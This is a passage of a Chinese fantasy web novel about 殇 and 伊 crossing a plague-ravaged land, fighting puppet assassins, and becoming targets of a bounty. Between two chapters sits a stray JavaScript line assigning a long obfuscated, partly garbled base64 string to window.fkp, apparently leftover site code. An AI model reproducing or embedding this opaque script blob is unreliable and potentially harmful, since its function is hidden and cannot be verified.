殇激活了自己的核心。 殇好奇地说: “我想试试那个制造EmA和Emw的功能。你站在那里别动,我扫描一下你。” 伊点了点头,说: “嗯。” 殇用核心扫描了一下伊,他成功获得了有关伊的介绍与制造伊的Emw与EmA的配方。他得使用核心能量才能召唤出那些Emw与EmA,并且他现在只能召唤三件Em装备,不然核心就会透支。 殇: “让我看看你的Emw是什么。” 随后他消耗了自己三分之一的核心能量召唤出了一个发着闪光的护身符,这个护身符看起来就跟普通的黄金护身符没什么两样。 殇: “什么吗?就是个护身符而已,你也太逊了。” 伊: “没办法,我本来就很弱。” 殇把这个护身符递给了伊。 殇: “拿着,这个东西可比断剑要有用。” 伊接过了这个护身符,她把这个护身符戴在了脖子上。 伊: “知道了。现在的我应该可以保护自己了吧。” 殇: “不,这仅仅可以才是我对你要求的百分之一,你还得努力。” “知道了。” “让我看看我的Emw有多帅吧。” 殇使用了核心,但是没有任何反应。过了一会,从核心之中传出了一句话。 “您不配。” 伊听到这三字不自觉露出了微笑,仿佛是在嘲笑殇。殇听到这三个字之后傻眼了,他思考了一会,他觉得老天对他不公平。 殇见此,只得自我安慰道: “没事,强者都是用别人的武器的。你说对吧,伊。” 伊忍着笑,回答道: “对。” 殇打了伊的头一下,伊疼得用手捂着头。 殇: “别跟我嬉皮笑脸的。” 伊: “啊!疼......对不起啦......我不该嘲笑你的。” “先不说这么多了,我们两个赶紧赶路吧。” “知道了。” 殇带着伊一路沿着森林之中的小路来到了森林最深处,他们只要再走一小段路就可以走到森林之外的地方了。但是两人现在都走不下去了,饥饿感让他们停了下来。 伊气喘吁吁地说: “殇......殇,我们歇一会吧。我......我走不动了。” 殇也气喘吁吁地说: “行吧,正好我们需要歇一歇,而且我们还没吃早饭,在这么走下去我们两个可能就到天堂了。” 伊看了看周围,问道: “可是这里有什么食物可以吃呢?” 殇看了看周围,他注意到了密林之中的一条小溪,也许这是一个很好的食物来源。 殇指着近处的小溪,说: “那里一定有一些食物!你在这里等着,我很快就回来。还有,不许偷看我,不然有你好果子吃的。” 伊: “好。” 殇跑向了那条小溪,他跑到小溪旁边脱下了自己的衣服,仅仅留下了一条短裤。伊怎么可能不会偷看,她的眼神偶尔就会往小溪的方向飘去,她时时刻刻都注意着殇。殇直接扎进了小溪之中,他开始用他娴熟的手法进行徒手捉鱼,顺便跟小溪之中变异的食肉鱼打了起来。伊静静地看着,她现在有些犹豫不决。 伊心想: “现在就可以离开这个家伙了吧,我可不想跟这个家伙一起去王座之间。因为一件小事就打人家,这种人绝对靠不住。可是......离开了他,谁能保护我呢?这个世界之中到处都是猎人与猎物,我这种人绝对是猎物。” 正在伊反复思考去路的时候,森林之中传出了神圣的吟唱声。 “很久很久以前,这个世界上有一片神圣的黑森林。” 伊听到这声音后停止了思考,她静静地听着这声声吟唱。 “这片黑森林之中生活着七只快乐的鸟儿,这七只鸟儿是这座森林的守护者,被冠以正义之名。” 此时一阵阴凉刺骨的风吹过了伊的身边,她感到了有些害怕。 “直到有一天,这片森林来了一群伐木工。冥昧的烈火燃烧整片黑森林,林中的动物们不得不与伐木工战斗。” 伊的心跳开始变快,莫名的紧张感令她不安。 “当烈火在黄昏时分被雨水熄灭之时,当一轮金黄的落日出现在地平线处之时,神圣的黑森林之中传出了声声警告,威胁这些伐木工们离开。但是这些伐木工无视了警告继续破坏森林。” 伊的身体开始颤抖,仿佛有某个强大的存在即将降临。她缓缓站了起来,她不安地看着周围。她感觉危险就在暗处看着自己,她能感觉到自己命不久矣。 “黄昏将至,拂晓之光,阵阵钟声,宣告罪孽,天平倾倒,即为罪恶,审判已至,终末之光。” 她此时紧张到了极点,她试着呼唤殇的名字,可是此时的她被吓得连嘴都张不开了。她后退了几步,用手挡头,双眼紧闭,心里念叨着求饶的话。 伊心里: “求求你,别杀我......求你了,别杀我。” 在一阵飓风吹过之后,一个高速运动的存在撞在了伊的头上。她只是感觉到了微微的疼痛,她并没有如她想的一样死去。她缓缓睁开眼睛,她发现一只很可爱的小鸟站在她的手上看着她,她看了看周围,发现并没有什么恐怖的存在出现,这也许她自己吓自己。 伊叹了口气,说: “哎,原来是一只可爱的小鸟啊。看来是我自己吓自己啊......” 小鸟: “你好啊,我叫小鸟,一只叫小鸟的小鸟。你叫什么名字啊?” 伊有些惊讶,她没想到这只小鸟竟然会说话。 伊: “我叫伊,是路过这里的赶路人。” 小鸟: “哦。对了,你不介意我跟着你一起走吧。” “当然不介意了。” “那么以后我就跟着你走了。” 小鸟飞到了伊的肩上。此时殇带着两条被宰杀过的小鱼回来了,他全身湿漉漉的,而且身上有着许多小伤疤。伊见到殇这样竟有些心疼。 殇: “鱼来了,你弄好柴火了吗?” 伊突然想起自己的任务没完成,一时语塞。 “啊?柴火......这个......” 殇: “没弄吗?没关系......柴火现在随手就来。” 殇拿出了从河里捞出来的一把特殊的武士刀,他一刀把身旁的树的树枝全都砍了下来。 殇: “准备吃饭了!” 伊: “嗯。对了,殇,我能向你请求一件事吗?” “说吧,什么事。” “我们可以带着我肩上的小鸟一起走吗?” “嗯?你说什么?你想养只鸟?我们现在可是可能会饿一天的人,你还想养一只鸟?” “求求你了,殇,就让我养一只小鸟吧。” 殇看了看伊真诚的眼神,又看了看她肩上那只小鸟的真诚的眼神,他思考了一会,最后无奈地妥协了。 殇: “要养你养,老子可不养这东西!你可以带着他,但是他产生的一切问题都要由你来处理,而且你不许再带一只宠物!听到了没有。” 伊: “听到了!” 殇: “准备一下,该吃饭了。” 殇架起了一个火堆,他串好鱼串,点起火堆,开始烤鱼。简短的吃饭时间后,殇带着伊继续向着森林出口前进。阵阵寒风吹过这片森林,这些枯死的树木发出了渗人的嘎嘎声,听起来让人寒毛直竖。令人感到恐惧的寂静蔓延在这片森林之中,让人感到格外不安,仿佛危险就在周围。这真是个荒凉的地方,连乌鸦的叫声都没有,也许是因为这里没有尸体可食用了,又或者是因为那些乌鸦已经死完了。看来这片森林已经“死亡”了,没有任何生命存在,没有任何希望可言。就在这么寂静的时候,地面突然颤动起来,有什么东西正在接近。 殇: “不好!伊,快找一个安全的地方躲着,有什么东西要来了。” 伊: “知道了。” 伊赶忙跑到了一棵树的后面躲着。此时一个长相猎奇的人形提线傀儡从地里钻了出来,这个提线傀儡对着殇甩了一下手,然后四个长相稍微正常一点的提线傀儡出现在殇的周围。 提线傀儡头目: “奉傀儡师之命,我们来取你的核心来了。” 殇: “哦?听你们这么说,你们很勇哦。” 提线傀儡头目: “废话少说,傀儡们给我上。” 那四个提线傀儡的手对准了殇,接着他们的手突然变长,就跟飞箭一样迅速。他们的手指就跟长矛一样锋利,随时可以撕开殇的皮肉。殇握紧腰间的刀,掐准时机,一个横切直接斩断他们的手。殇一个健步来到了其中一个提线傀儡面前,一刀,皮开肉绽,两刀,骨骼断裂,三刀,直接变成一堆碎块。剩下的提线傀儡的手臂重新长了出来,它们再次故技重施,试着撕碎殇。殇将手中的刀反了过来,一个侧身躲开前两个傀儡的攻击,他在等待一个时机,一个最合适的时机。当最后一个提线傀儡的长手攻过来时,他没用用横切斩断这只手,而是故意让刀刃接触提线傀儡的长手。在刀刃接触提线傀儡长手的一瞬间,他瞬间全身发力,一个健步冲向了那个提线傀儡,他手中的刀就跟切菜一样将这个提线傀儡的手臂一分为二。在他来到这个提线傀儡面前的时候,他转身用力一砍,只见刀刃穿过这个提线傀儡的胳膊与肩膀,直接一刀将这个提线傀儡的头一分为二。在砍完这一刀的瞬间,他的手松开了一秒,让刀转了一圈,接着握紧这把刀,对着这个傀儡就是两刀,这个傀儡瞬间被变成了碎块。在他砍完这两刀之后,他瞬间转身压低身体做好架势,将攻击位置对准最远处的提线傀儡,接着全身发力,一个冲刺直接来到这个提线傀儡的面前,这个提线傀儡此时都傻了,他这辈子没见过这种场面。 殇: “生或者死,我亦生,你亦死。” 随后一记威力巨大的居合斩砍在了这个提线傀儡上,一个巨大的死字出现在这个提线傀儡头上,接着这块提线傀儡被砍的位置发出了红光,这个提线傀儡当场变成了红色烟花。殇以一个帅气的姿势落地,他没有回头看爆炸。 殇: “仅此而已了。” 伊在一旁都看呆了,她这辈子没见过这种场面,这可比她看的所有武侠剧的帅多了。 伊: “好帅。殇好帅啊!” 小鸟: “这小子有两下子,真没让我失望啊。” 所有的提线傀儡都变成了尘埃随风飘逝了。此时一个提线傀儡出现在殇的后方,殇快速转身用刀指着这个傀儡。 傀儡: “别那么紧张吗。我只是来报信的,又不是来杀你的。” 殇: “有屁快放,有话快说。” 傀儡: “那我就长话短说了。傀儡师大人让我跟你说两句话。首先,是第一句。” 殇: “别墨迹!快点。” 傀儡: “你不会真的觉得你所做的这一切是值得的吧,你可别忘了你是怎么造成这场灾难的。我们还会相见的,我会报仇的,你会死的,你这个不可救药的混蛋。” 殇一个健步来到了这个傀儡面前,直接一刀把这个傀儡砍成了尘埃。 殇: “真的是他妈的够了!你等着,我很快就到你家门口。” 伊此时从树后走了出来,她的眼神之中满是对殇的尊敬,她此时真正知道了殇真正的厉害。 伊: “殇!你好厉害啊!” 殇: “过奖了,这只是卑微战士的小招数而已。” “话说,殇。你手中的武士刀是Emw吧。” “还真让你猜出来了。这东西还真是Emw而且还是EcL。” “那这是核心武器喽?” “没错。它是核心武器。” “那它叫什么名字?” “EcL-19,死或生,一把被故意扔到大江里的武士刀。这东西可是可以瞬杀敌人的存在,有了它,就没有敌人可以挡在我们面前了。” “那太好了。” 殇看了看天,发觉时候不早。殇说: “时候不早了,我们也该继续赶路了。” 伊: “对了,你能检测一下我肩上的小鸟是不是EcL吗?” 殇: “可以。让我试试。” 殇用核心扫描了一下这只小鸟,结果就如殇猜测的一样,这只小鸟是EcL。 殇: “这只鸟是EcL,而且来头还不小。” 伊: “来头不小?” “没错。他是EcL-4,小鸟,是个c级的EcL,跟你一个级别。” “这不很普通吗?” “但是这只鸟的第二形态可是真正的大爷啊。EcL-4-1,终桀之鸟·绝对正义的审判者,Ex级EcL!不仅如此,它还是传说之中的恒律太玄,是神!是真正的大爷!” 伊听了,甚是惊讶。她对肩上小鸟夸赞道: “小鸟,想不到你这么厉害!” 小鸟有些害羞地说: “没什么,老夫只是一个平凡的守护者而已。” “那你能给我们变一个第二形态让我们开开眼界吗?” “很抱歉,没有大罪人我是不会变身的。” “啊?这......” “但是请你们相信,我总有一天会给你们展示那个形态的。” “好吧,希望我能看到你的另一形态。” 这时,殇想到了个主意。 殇: “对了,我去看看这个小鸟的Emw是什么样的吧。” 殇使用了核心,但是他并没有制造出Emw,其原因是能量不够。 “能量不够?看来我得需要恢复一些能量了。那么我先看看EmA吧。” 殇使用了核心,他消耗大部分能量制造出了一个只有网球大小的白色的羽毛球。他很诧异地看着这个球,他很疑惑自己怎么制造出了一个奇怪的羽毛球。 殇: “这......什么玩意?这是啥啊?衣服呢?” 小鸟: “这衣服不是这么用的,我教你,你把它扔向伊。” 殇没过脑子就照做了,他直接把这个羽毛球扔到了伊身上。这个羽毛球接触伊之后直接替换了伊的衣服,直接将伊身上的衣服替换城了一身有着白色的羽毛的尊贵西服,伊身上的衣服瞬间被突然出现的一身白色西服弹飞出去,过了一会这些飞出去的衣服变成了又一个球,这个球落在了殇的手中。殇和伊很疑惑地看着眼前的景象,相对于殇来说,伊更加震惊。 伊: “我......我的衣服怎么变成了这样?” 殇: “这他妈就是传说中的一键换装吗?太他妈离谱了。” 小鸟: “所有的EmA都是这么用的。别问我是怎么知道的,反正我就是知道。” 伊: “诶?穿上这身衣服之后好像就不冷了。” 殇: “既然这件衣服可以防止你冻死,那么你就一直穿着吧,如果你想换回来,我用核心能量给你打造一套原来的,反正消耗不了多少能量。” 伊: “真的?好耶!” 殇: “现在别闲聊了,我们该继续赶路了。” 伊: “好。” 他们两个一路走走歇歇走到了晚上,此时他们也已经来到了森林的边缘,他们已经可以看到森林外的平原了,他们离离开无人区又近了一步。殇准备了一下蘑菇串,伊准备了柴火与火堆,又是一顿晚饭,又是一天过去。吃完晚饭后,伊靠着树睡着了,那只小鸟在她的怀里睡着了,而殇没有去睡觉,他还要看守着伊,防止她因为那些绿毛怪而死。 殇: “不知为何,我感觉这种感觉似曾相识。我是不是以前守护过谁?” 皎洁的月光照在殇的身上,寒冷的晚风吹过殇的身旁,寂静的幻境围绕在殇的旁边,这周围很安静,没有绿毛怪,没有想攻击他的敌人。他头一次感觉到这么轻松,他第一次觉得自己有了放松的理由。 殇: “不知为何,我能感觉到一些奇妙的东西,我好像有了一种休息的理由,这是以前从未有过的事。” “哎......继续看守着这里吧,继续当我的看守者。” 就这样,殇独自一人看守着伊过了一个晚上。 ...... 宙级洪流: “我的王啊,我也渐渐老去了,我从二十多岁一直给你看管到六十多岁,你何时才能履行你那所谓的约定呢?何时我们的王国与人民可以迎来光明?你到底骗没骗我们,你到底是为了人民与国家而踏上这段旅途,还是为了你那所谓的永生计划?我不知道,但你心知肚明。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 西玲国—第三话:疑点与问题 伊此时站在一个长廊的中间,黎明的曙光从长廊的窗子照向长廊内,许多的尘埃在阳光的照耀下缓缓落在地上,这些尘埃仿佛在向伊诉说着什么。一阵寒风吹过,激起了无数的尘埃,许多尘埃随风飘扬,唯有伊还在原地一动不动。 ???: “孩子。” 伊转身看向身后。 ???: “很高兴见到你。” 伊仔细盯着声音发出的地方,她隐约可以看到黑暗之中的身影。 伊不安地问道: “你是谁?” ???: “我是一个无关紧要的人,你不需要知道我的名字。” 伊: “你为什么不愿意说出自己的名字呢?” ???: “因为一些特殊的事情,你不能知道我的名字......对了,你要记住一件事,小心那个叫殇的男人。” 伊疑惑地问: “为什么?” ???: “你以后就会知道的......” 周围的场景在一瞬间变成了白色,紧接着变成了黑色,最后完全消失了...... 伊缓缓睁开眼睛,她看到殇正在背对着她坐着,殇一动不动,仿佛是睡着了。她缓缓起身,伸了个懒腰,伸完懒腰后走到了殇的背后,她此时回想起了那个神秘身影对自己说的话,她看了看地上的短剑。她伸出了手,准备拿起那把短剑,可在她要碰到短剑的时候,她犹豫了,她不知道该不该现在除掉殇。她犹豫了几秒,在激烈的思想斗争后,她放弃了除掉殇的这个想法,她把手放在了殇的肩膀上摇了摇。过了几秒,殇缓缓从昏睡之中清醒过来。他站了起来,他动了动脖子,在简单的热身之后转身看着伊。 殇微笑着对伊说: “哟!你醒了。昨晚睡得怎么样?” 伊回答道: “还好。” “对了,你现在饿吗?” “不算太饿。” “那我们先赶一段路,一会找到好地方后我们再吃早饭。” “行。” 殇和伊向着森林外前进。在走出森林之后,几滴雨滴滴在他们的身上,许多灰色的乌云挡住了太阳,阵阵冷风向他们吹了过来,两人都不禁哆嗦了一下。风,吹过田野,枯死的荒草随风飘动。雨,倾盆而下,凋零的花朵在雨中分崩离析。天空之中传来了阵阵雷声,仿佛是老天爷正在发怒。风本应该是带来福报的送信人,可此刻它却变成了送走死者的送葬者,雨本应该是带来希望与生机的使者,可此刻它却变成了碾死花朵的最后一把利剑。 看着这样的景象,殇小声嘀咕道: “为什么会这样呢?谁能想到这里曾经是充满希望的原野?谁能想到这里曾经有着一群快乐生活的人们?这场疫病毁掉了许多......” 这时,伊问他: “殇,你知道这场疫病是怎么来的吗?” 殇摇摇头,说: “我......不知道。也许是天灾,又或许是人祸。” “你觉得疫病可以被治好吗?” “我觉得应该不可以,毕竟事实就摆在那里。” “万一能呢?” “万一?那怎么可能?” “乐观点,我相信一定有办法可以改变一切。我相信世界上一定有奇迹存在的。” “奇迹?这种骗小孩子的东西你都信?这个世界只有血淋淋的现实,根本没有什么奇迹的。” “会有人向你证明奇迹是真实存在的。” 殇看了看周围,主动打断了话题。他说: “我们先别闲聊了,雨要下大了,我们赶紧赶路吧!” 伊: “好。” 殇和伊在这片充满死亡气息的平原之中穿梭着,雨点打在他们身上,寒风吹在他们身上,闪电的轰鸣声震慑着他们,一切仿佛都在与他们作对,即便如此,他们也从未停下前进的脚步。 与此同时...... 在碧蓝苍穹的集团的之中,碧蓝苍穹正在悠闲自在地看着故事书,温暖的暖风吹在他的身上,亮度正好的灯光照在他的身上,这景象十分惬意。就在他思考故事走向的时候,他的手下拿着资料推门而入,这打断了他的思考,但他没有为此而生气,反倒很开心。 碧蓝苍穹微笑着说: “这次又是什么无关紧要的信息啊?” 碧蓝苍穹的手下用恭敬的语气向他汇报道: “老板,我们弄到了一份你很感兴趣的资料,你想要看看吗?这是通过催眠术强制从伊娜大脑之中提取出来的。” 碧蓝苍穹微笑着说: “哦?是吗?拿来,让我看看。” 碧蓝苍穹的手下把资料递给了碧蓝苍穹,碧蓝苍穹接过资料,定睛一看,他本来挂在脸上的微笑瞬间变成了尴尬。他实在是没想到他要找的东西实际上一直就隐藏在自己身边,真是应了那句最危险的地方就是最安全的地方。 碧蓝苍穹: “想不到种子竟然在我身旁,我妹妹果真是聪明啊。——早知道就先把她抓回来了,这样可以省下很多功夫。” 碧蓝苍穹的手下: “对了,老板。我们接下来该怎么办?” 碧蓝苍穹: “很简单,弄一个通缉令,让那些见钱眼开的那些人去帮我把她抓回来。顺便拨十万的资金,以此为通缉令的预备资金。记住,一定要在通缉令上写上活捉二字,不然有你们这些人好果子吃的。” 碧蓝苍穹的手下: “知道了,老板。” 几分钟之后...... 在殇王国的城市之中,左食指的管理者阳正在和右食指的管理者阴正在悠闲地喝着咖啡,商讨着有关疫病的事。她们两个都是王国的重要组成部分,她们一个管理惩戒部,一个管理科技部。虽然阳身为殇王国的左食指兼惩戒者,但她的心中却没有惩戒者的那种凶神恶煞,她有的只有善良的内心。阴是殇王国的右食指兼科学部主管,他人如其表,是个既聪明又帅气的年轻人,但他总会在一些简单的问题上马虎。阴是阳的哥哥,阴在各方面都要比阳优秀一些。 阴叹了口气,说: “据我观察,这场疫病将会是漫长的,毕竟我们科技部研究了这么久都没研究出有效治疗疫病的办法。” 阳有些怀疑地接着说: “你说碧蓝苍穹这个小子可不可以研究出治疗疫病的方法呢?我感觉他在欺骗我们,我看他在研究解药的方面几乎没有任何进展。” 阴: “我们连这场疫病是怎么来的都不知道,它就跟凭空出现一样,毫无征兆,毫无规律,就跟做梦似的。” 阳: “你......是不是也觉得国王殿下做的事有点太过分了,那些无辜的人应该接受的是治疗与拯救.......而不是无情的隔离!——我们......本可以改变一切的,可是......” 此时通缉令传到了她们两个的核心之中,她们摸了下自己的太阳穴,一个清晰的全息显示板出现在她们的眼前。这个信息板上清清楚楚地写着有关伊的一切信息,具体的位置与核心编号都一一标注了。 阴: “看样子,事情变得有趣起来了。” 阳: “碧蓝苍穹抓他妹妹的女儿干什么?难道有什么重要的事情吗?” 阴: “管他呢。到时候我们两个设卡阻挡她就行了,我想,这个人对于我们来说也很重要吧。” 肃清者: “说的不错。” 阴和阳转头看去,肃清者正坐在他们的后桌优雅地喝着咖啡看着她们。 阳: “紫......紫妈?你怎么来了?” 肃清者: “怎么?不欢迎我吗,小可爱。” 阳: “怎么会呢?我怎么可能会不欢迎你?” 肃清者的表情突然变得严肃。 肃清者: “对了,你们两个也看到碧蓝苍穹发的通缉令了吧。” 阴和阳点了点头。 肃清者: “你们知道伊是谁吗?” 阴: “是......伊娜的女儿,炼金师的孙女,难道还有什么特殊的身份吗?” 肃清者: “当然......” 肃清者听到了一些声音。 肃清者: “嗯,对。嗯,没错。嗯,我知道了......” 阴和阳一脸疑惑地看着肃清者,他们不明白肃清者在跟谁说话。 肃清者: “她是代号S的存在。” 阴: “S?你指的是那个伊娜前辈的研究项目吗?” 肃清者: “没错。她是S,也就是我们的国王殿下一直寻找的存在,只要我们得到了她,我们就可以把国王接回来,然后复活他。到时候,他将重新拯救我们所有人。这场疫病将随着他的回归而结束。” 阳: “可是......紫妈,我感觉国王殿下他即使复活了也拯救不了疫病。” 肃清者: “为什么呢?” 阳: “他在复活之后也只是成为了一个永生的存在,他......很难做到解决疫病,而且,他还可能抛弃我们。” 肃清者走到阳的身前,用手摸了摸阳的头。 肃清者: “我相信他一定会重新引领我们回到曾经的生活的。因为他可是曾经拯救了我们所有人的英雄,他可以做到的。” 与此同时...... 在一个阴暗的小巷里,两个传说级的人物会面了。一个是举止优雅的绅士枪械帝王,另一个是隐藏于黑暗之中的夜歌。 枪械帝王: “夜歌,你看到通缉令了吧。” 夜歌: “看到了,那又怎样?” 枪械帝王: “你知道我想说什么吗?” 夜歌: “你想说那个姑娘可以带来财富,让你或者我去穹顶区生活吗?” 枪械帝王: “不。我想说的是,你还记得艾安跟我们说的S吗?” 夜歌突然意识到了什么,他吃惊地说: “你想说的是?!” 枪械帝王: “没错。那个所有人都想要的东西,抵抗疫病的能力以及打败殇国王的力量。” 夜歌: “哎,纸还是包不住火啊。” 枪械帝王: “你知道我想做什么吗?” 夜歌: “让我想想,你肯定不会去杀了她,更不会活捉她,那么就只剩一个了......你要保护她。” 枪械帝王: “没错。为了我和伊娜姑娘的约定,为了我和炼金师的约定,我一定要让她成功活到‘那一天’到来。” 夜歌: “那我就跟你想的不一样了......我有我自己的计划。但是......我不会把她交给碧蓝苍穹的。” 枪械帝王的身后出现了六个发光小光环,从光环之中伸出了各种不同种类的枪械。 枪械帝王: “掩藏了许久,是时候回到这个就比黑暗亮一点的世界之中了。” 与此同时...... 金色午夜正在艰难地寻找食物,她现在急需食物来去救人。她穿梭在无人区的房屋之间,试着找到一些可以吃的食物。就在这时,她随身携带的一个清道夫新闻显示器传出了一条新闻,她只是匆忙的看了一眼,并没有在意这上面写的是什么。过了几秒,她突然意识到了这条新闻的重要性,她立马点出那个新闻,认真阅读了起来。在看到悬赏金额以及目标出现的位置后,她的眼中出现了希望的光芒,她看到了未来,看到了自己所追求的生活,看到了一切的希望。 金色午夜: “太好了!只要我抓到了她,我的弟弟就可以得到治疗了,他可以一直活下去了!” 金色午夜握紧了手中的武器,她的眼神之中满是希望,尽管她的内心已经很沧桑了,但她还不愿放弃眼前最后一丝希望,因为她相信她可以做得到,她相信自己可以改变一切。 与此同时...... 殇带着伊穿过了平原,一路顶着雨来到了西玲国的着名地标性景观巨石林之中。巨石林之中屹立着许多巨大的石头,这些历经了上千年风雨形成的巨石就跟森林一样,无论刮风下雨,它们永远屹立在这里。殇和伊很幸运地找到了一处由两个巨石形成的洞穴,这里是雨溅不到的地方,里面很干燥,很适合歇脚。 殇指着洞穴最深处的墙角,说: “伊,你先去那里面呆一会,我去收集点柴火与食物。” 伊有些迷糊地应答道: “好。” 殇把手中的武士刀递给了伊,告诉她: “你拿着它,要是有什么危险就叫一声,尽量多撑一会,我很快就会赶到。” 伊迷迷糊糊地说: “知道了。” 殇说完转身去收集柴火与食物去了,就留伊一个在这寒冷的洞穴之中。伊见到殇走后,转身走到洞穴深处的墙角,她无力地坐在墙角,她感觉自己全身的力量正在流逝。小鸟从她的肩上飞了起来,他飞到了伊的额头前,用身子蹭了蹭伊的额头。小鸟感受到了伊额头的高温,他知道了伊发烧的事实。 小鸟: “伊,你发烧了。” 伊: “哦?是吗?” 小鸟: “你应该现在把殇那家伙叫过来,让他给你弄点药。” 伊: “不用了,让他好好收集食物与柴火吧,我挺一阵就好了。” 小鸟: “可是......” 伊: “让我一个人静一会吧。” 小鸟: “好吧。” 小鸟张开羽翼,飞离了这个洞穴,仅留下伊一个人孤独地坐在洞穴之中。伊看到周围没有人之后便靠着墙望着天花板思考,她这一路上的辛苦她从未跟任何人说过,她所经历的各种苦难也没跟任何人说过,她现在终于可以独自一人在这里偷偷释放一下自己的感情了。一种奇异的能量汇聚在她的身上,悄然改变着她的精神。 伊伤心地说: “妈妈......我想你了,你在哪里?我想回家......我想回到家后紧紧地抱着你,我想见你一面,那怕只是一瞬间。” 她的眼角流出了泪水,微风吹拂着她的脸,将她脸上的泪水一点点地拂去,老天爷仿佛是在安慰她,又仿佛是在嘲讽她。她把头埋在自己怀中,很委屈地哭了起来。 “为什么?为什么要夺走我的一切,为什么要让我承担这些我不该承受的责任,我只想过平淡的生活,我只想和妈妈快乐的生活在一起......” 殇此时抱着柴火与食物不动声色地站在她的前方,他静静地看着她,没发出一点声音,更没说一句话。 伊: “妈妈......我下一步该怎么前进?我......我做不到......我连杀一个人的能力都没有,我该怎么完成你交给我的任务?我......我真废物!” 他趁伊自言自语的时候缓缓把东西放在了地上,一点声音也没出,他怕打扰到伊的私人空间,就连走步也是缓缓地走,可怕出一点声音。殇走到洞穴外,他站在风雨中,假装自己是在收集柴火,实际上是在等待那只鸟回来。 殇小声嘀咕道: “哎......她也不容易啊。就不打扰她了,等那只鸟回来,我去给她做点感冒药,不然她容易死在这个鸟不拉屎的地方。” 大约一分钟之后,小鸟回来了,他嘴里叼着一片药草叶子,这片药草叶子正是可以治疗感冒的药草的叶子。小鸟用嘴把嘴里的叶子递给了殇,殇接过叶子看了几眼,他立刻就认出了这片叶子的归属。 殇: “这种小药我还是认得的,接下来只需要找一些碾成碎末熬成药汤就行了。” 殇用手指摸了摸小鸟的腹部,说: “小鸟,带我去你发现这个药草的地方。” 小鸟: “嗯。” 小鸟张开羽翼一跃而起飞向了他找到药草的地方,殇跟着小鸟找到了巨石林之中的珍宝,一处还未枯萎的草丛,其中就有殇需要的药草。 殇疑惑地说: “奇怪,这里怎么还有植物存活?这可真是世界奇迹了。” 殇在草丛之中收集了一把药草,他搓了搓这些药草的叶子,他据手感分析,这些药草还能用于制药,它们没有被疫病所影响。 殇: “这些应该够了。” 殇带着药草与小鸟向着来时的方向走去,雨依然下着,风依然刮着,雷依然打着,一切都在风雨之中沉默了,唯有雨的声音还在孤独地回响着。殇带着药草回到了洞穴之中,洞穴之中很是安静,之前还在哭泣的伊现在安静下来了,她靠在墙上仰头睡着了。他走到伊身边摸了摸伊的额头,他确认伊确实是发烧了。 殇: “哎,果然来自城里的大小姐就是扛不住风雨的。既然她发烧了,那我就给她熬点药吧。” 这时,殇隐隐约约想到了什么。 殇: “奇怪,为什么......我感觉我曾经也照顾过人?我......是不是有个女儿?......那怎么可能?老子连婚都没结呢。” 小鸟: “殇......” 殇: “怎么了?” 小鸟: “有个问题,我们该怎么制作药汤?” 小鸟这么一提醒,殇才意识到这个问题。 殇: “对啊!我们没有碗与捣碎药草的东西啊。” 小鸟: “我想我有个办法。” 殇: “什么办法?” 小鸟: “我知道这附近有个树桩。你可以用那个树桩做一个碗与一个捣碎药草的工具。” 殇: “好主意!就这么干。” 到了晚上...... 伊睁开了朦胧的双眼,她的眼前是温暖的火堆与昏暗的天空。伊看了看周围,周围只有殇和小鸟正在篝火旁烤着蘑菇。伊扶着墙站了起来,她现在头昏昏沉沉的,她用手摸了摸自己滚烫的额头,颤颤巍巍向着火堆旁走去。殇回头看向伊,他站起身走向伊,他扶着伊帮助她走到了火堆旁。伊在火堆旁无力地坐下,用颤抖的手试着去拿眼前的那串烤蘑菇,但是她的手怎么也碰不到那串烤蘑菇。殇拿起伊眼前的那串烤蘑菇。 殇似嘲讽又似关心地说: “你这个菜鸡太弱了!一点风雨就病成这样,以后你可怎么活。” 伊很愧疚地说: “抱歉,是我太弱小了。给你添......” 殇把这串烤蘑菇递给了伊。伊以一种不可思议的表情看着殇,而殇则用一种轻蔑的眼神看着伊。 殇: “喂!拿着啊!你难道还指望我去喂你这个菜鸡吗?” 伊连忙用手接过这串烤蘑菇。 伊: “哦......哦,知道了。” 殇: “赶紧吃,一会吃完喝点药,不然你这病会连累我们的。” 伊: “知......知道了。” 殇: “一会喝完药你只可以休息一小会,然后你就得给我起来赶路,你今天几乎睡了一天!” 伊: “知道了。” 在吃完饭后,伊喝了那碗殇炼制出来的药汤。刚喝完她还是什么反应都没有的,但是过了一小会她就开始神志不清,在很短的一段时间后她就昏睡了过去。殇看了看倒在地上的伊,他摇了摇头,然后他走到伊的身旁,把伊背了起来。 殇: “小鸟,该走了。此地不宜久留。” 小鸟: “好,等我把这个蘑菇剩下的一点吃掉。” 殇: “别管这一点食物了,等我们到了下一个歇脚的地方我让你吃个够。” 小鸟: “好吧。” 小鸟放下了地上的食物,张开羽翼飞到了殇的头上。殇吹了个口哨,地上的武士刀瞬间飞到了他的腰间,然后卡在了一个牢固的位置。殇背着伊向着巨石林的出口走去,他很庆幸伊没死,毕竟在这么一个充斥着死亡的世界中,能活下来的人已经很不容易了,更何况她根本不属于这里。雨很早就停了,雷也随之消失了,唯有阵阵寒风还在吹。 殇欣慰地说: “还好这小姑娘没死,这得多亏她的核心的功率强劲,不然她可就因为感冒而死了。说实话,她也不容易,毕竟她也跟着我忍受了大半天的风吹雨打,而且这一天就吃了刚刚那一顿饭,她还能挺到现在就已经很不错了。” 殇背着伊在寒冷的寂静的巨石林中前进着。地上的水坑映照着黄昏逝去时的最后光辉,阵阵寒风吹过,水坑上出现了阵阵微波。太阳的光芒正在消逝,取而代之的是月亮与群星的光芒。白昼即将褪去,夜幕即将降临,在这片危险的土地之上,夜幕即是怪物的狂欢。很快,在巨石林之中传出了阵阵骚动,有许多双恐怖的眼睛出现在黑暗之中,它们虎视眈眈,想要撕碎在这黑暗之中的猎物。殇看了看周围的威胁,他倒有些害怕,不是因为怕自己受伤,而是怕背上的伊死在这些怪物的手下,如果伊死了,他的计划就失败了。 殇: “该死!这些杂种这个时候出来了!不好处理啊......” 此时在黑暗之中出现了一丝光芒,殇看向光芒发出的地方,一个提着灯的高个子走向了他。这个高个子身穿一身特殊的斗篷,面部只可以看到一只金黄色的眼睛,看起很吓人。他身后悬浮着八个燃着紫色烈火的黑色球体,每个球体都是一个灵魂。 殇: 